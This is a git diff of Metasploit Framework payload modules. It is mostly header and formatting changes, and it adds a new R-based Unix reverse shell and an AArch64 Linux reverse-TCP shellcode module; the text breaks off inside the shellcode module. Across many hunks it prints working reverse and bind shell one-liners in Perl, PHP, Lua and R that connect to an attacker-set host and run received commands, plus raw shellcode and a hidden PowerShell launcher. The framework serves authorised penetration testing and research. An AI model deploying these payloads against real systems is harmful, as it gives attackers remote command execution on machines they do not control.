-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 1971
+  CachedSize = 2423
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb
index 88c3d42131..710a8fe03d 100644
--- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
       " >/dev/null 2>&1 &)'"
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb
index 0301f5c79c..97832ae2c2 100644
--- a/modules/payloads/singles/cmd/unix/reverse_perl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
     cmd   = "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
index 29250a8464..9127bc4781 100644
--- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
     cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
     cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
index 1d30f1183c..d4740e5e39 100644
--- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +51,4 @@ module MetasploitModule
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
     cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb
index ef4f30376c..5bd7f1e64c 100644
--- a/modules/payloads/singles/cmd/unix/reverse_python.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_python.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -56,5 +56,4 @@ module MetasploitModule
     encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
     "python -c \"exec('#{encoded_cmd}'.decode('base64'))\""
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
index aa3f6da96d..0132148469 100644
--- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ module MetasploitModule
     return cmd
 
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_r.rb b/modules/payloads/singles/cmd/unix/reverse_r.rb
new file mode 100644
index 0000000000..41dd7aa025
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_r.rb
@@ -0,0 +1,50 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 157
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Unix Command Shell, Reverse TCP (via R)',
+      'Description' => 'Connect back and create a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Handler'     => Msf::Handler::ReverseTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'cmd',
+      'RequiredCmd' => 'R',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def prepends(r_string)
+   return "R -e \"#{r_string}\""
+  end
+
+  def r_string
+    lhost = datastore['LHOST']
+    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+    return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s, 1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb
index 1eed3b94cb..408a556d25 100644
--- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
index 0256e2de85..49ee1f1dbf 100644
--- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb
index f54bbd240b..6155bc8eee 100644
--- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -57,5 +57,4 @@ module MetasploitModule
       " >/dev/null 2>&1 &)'"
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb
index af5d6ad5fa..813d6daf41 100644
--- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb
index a77ae0102c..2f8425622c 100644
--- a/modules/payloads/singles/cmd/windows/adduser.rb
+++ b/modules/payloads/singles/cmd/windows/adduser.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb
index 45a4788605..4e7ea43be4 100644
--- a/modules/payloads/singles/cmd/windows/bind_lua.rb
+++ b/modules/payloads/singles/cmd/windows/bind_lua.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,6 +50,5 @@ module MetasploitModule
   def command_string
     "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
   end
-
 end
 
diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb
index f14e545d6a..ecbb099b96 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
index c6c32a7ffa..c7a9a583b6 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb
index a3373c54cb..bbd867f6e3 100644
--- a/modules/payloads/singles/cmd/windows/bind_ruby.rb
+++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
index c52079e5d5..90212ef4b7 100644
--- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
+++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
index 9900e867f8..f8a5df912c 100644
--- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
+++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb
index 9d9db8fb5f..fe279027de 100644
--- a/modules/payloads/singles/cmd/windows/generic.rb
+++ b/modules/payloads/singles/cmd/windows/generic.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -52,5 +52,4 @@ module MetasploitModule
   def command_string
     return datastore['CMD'] || ''
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
index 588cf15569..83e3bc0f93 100644
--- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -43,5 +43,4 @@ module MetasploitModule
   def generate
     generate_powershell_code("Bind")
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
index 5525a64d5b..48bcf2a81d 100644
--- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
   def generate
     generate_powershell_code("Reverse")
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb
index ca8cd17ab7..07d3f9bd33 100644
--- a/modules/payloads/singles/cmd/windows/reverse_lua.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,6 +50,5 @@ module MetasploitModule
   def command_string
     "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
   end
-
 end
 
diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb
index db575ac2e2..400d828bc1 100644
--- a/modules/payloads/singles/cmd/windows/reverse_perl.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
     cmd   = %{perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"}
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index 77beaf4a42..0f851eac70 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -99,5 +99,4 @@ module MetasploitModule
 
     "powershell -w hidden -nop -c #{powershell}"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb
index 40c7cd7c53..cd99ba9059 100644
--- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb
index 385498958e..002d07c520 100644
--- a/modules/payloads/singles/firefox/exec.rb
+++ b/modules/payloads/singles/firefox/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Firefox XPCOM Execute Command',
       'Description'   => %Q|
-        This module runs a shell command on the target OS withough touching the disk.
+        This module runs a shell command on the target OS without touching the disk.
         On Windows, this command will flash the command prompt momentarily.
         This can be avoided by setting WSCRIPT to true, which drops a jscript
         "launcher" to disk that hides the prompt.
diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb
index 87b54e5604..64b16e52a1 100644
--- a/modules/payloads/singles/firefox/shell_bind_tcp.rb
+++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb
index 787c485bbb..453cfcbf56 100644
--- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ module MetasploitModule
 
     EOS
   end
-
 end
diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb
index bdc671d79f..e968e5df5c 100644
--- a/modules/payloads/singles/generic/custom.rb
+++ b/modules/payloads/singles/generic/custom.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,5 +60,4 @@ module MetasploitModule
 
     return encoders2
   end
-
 end
diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb
index 688b432b66..a46cd5879b 100644
--- a/modules/payloads/singles/generic/debug_trap.rb
+++ b/modules/payloads/singles/generic/debug_trap.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/generic'
 
 
@@ -28,5 +27,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb
index df1354760c..05272e9e3f 100644
--- a/modules/payloads/singles/generic/shell_bind_tcp.rb
+++ b/modules/payloads/singles/generic/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,5 +23,4 @@ module MetasploitModule
       'Session'       => Msf::Sessions::CommandShell
       ))
   end
-
 end
diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb
index 7d5cece6bb..e8350d28c4 100644
--- a/modules/payloads/singles/generic/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,5 +23,4 @@ module MetasploitModule
       'Session'       => Msf::Sessions::CommandShell
       ))
   end
-
 end
diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb
index 51f2e22ab8..e9aa5fe869 100644
--- a/modules/payloads/singles/generic/tight_loop.rb
+++ b/modules/payloads/singles/generic/tight_loop.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,5 +25,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
index 16b2ec1407..6de3e1343a 100644
--- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
+++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def generate
     return super + jsp_bind_tcp
   end
-
 end
diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
index 3ab1deec75..adaca7a6c7 100644
--- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -43,5 +43,4 @@ module MetasploitModule
 
     return super + jsp_reverse_tcp
   end
-
 end
diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb
index 8163557387..4fa8c97d53 100644
--- a/modules/payloads/singles/java/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
index b7a6ca97c7..25b4b456e2 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 650024
+  CachedSize = 675112
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
index 776a0426f4..7f493ef8e9 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 650024
+  CachedSize = 675112
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
index a7f546bc9a..4c1b96f0db 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 650024
+  CachedSize = 675112
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb
new file mode 100644
index 0000000000..0941de0393
--- /dev/null
+++ b/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb
@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 152
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
+      'Description'   => 'Connect back to attacker and spawn a command shell',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_AARCH64,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Payload'       =>
+        {
+          'Offsets' =>
+            {
+              'LHOST'    => [ 132, 'ADDR' ],
+              'LPORT'    => [ 130, 'n' ],
+            },
+          'Payload' =>
+            [
+            # Generated from external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s
+            0xd2800040,          #  mov	x0, #0x2                   	// #2
+            0xd2800021,          #  mov	x1, #0x1                   	// #1
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xd28018c8,          #  mov	x8, #0xc6                  	// #198
+            0xd4000001,          #  svc	#0x0
+            0xaa0003e3,          #  mov	x3, x0
+            0x10000341,          #  adr	x1, 80 <sockaddr>
+            0xd2800202,          #  mov	x2, #0x10                  	// #16
+            0xd2801968,          #  mov	x8, #0xcb                  	// #203
+            0xd4000001,          #  svc	#0x0
+            0x35000260,          #  cbnz	w0, 74 <exit>
+            0xaa0303e0,          #  mov	x0, x3
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xd2800001,          #  mov	x1, #0x0                   	// #0
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0xd2800021,          #  mov	x1, #0x1                   	// #1
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0xd2800041,          #  mov	x1, #0x2                   	// #2
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0x10000180,          #  adr	x0, 88 <shell>
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xf90003e0,          #  str	x0, [sp]
+            0xf90007e2,          #  str	x2, [sp,#8]
+            0x910003e1,          #  mov	x1, sp
+            0xd2801ba8,          #  mov	x8, #0xdd                  	// #221
+            0xd4000001,          #  svc	#0x0
+            0xd2800000,          #  mov	x0, #0x0                   	// #0
+            0xd2800ba8,          #  mov	x8, #0x5d                  	// #93
+            0xd4000001,          #  svc	#0x0
+            0x5c110002,          #  .word	0x5c110002
+            0x0100007f,          #  .word	0x0100007f
+            0x00000000,          #  .word	0x00000000                // shell
+            0x00000000,          #  .word	0x00000000
+            0x00000000,          #  .word	0x00000000
+            0x00000000,          #  .word	0x00000000
+            ].pack("V*")
+        }
+      ))
+
+    # Register command execution options
+    register_options(
+      [
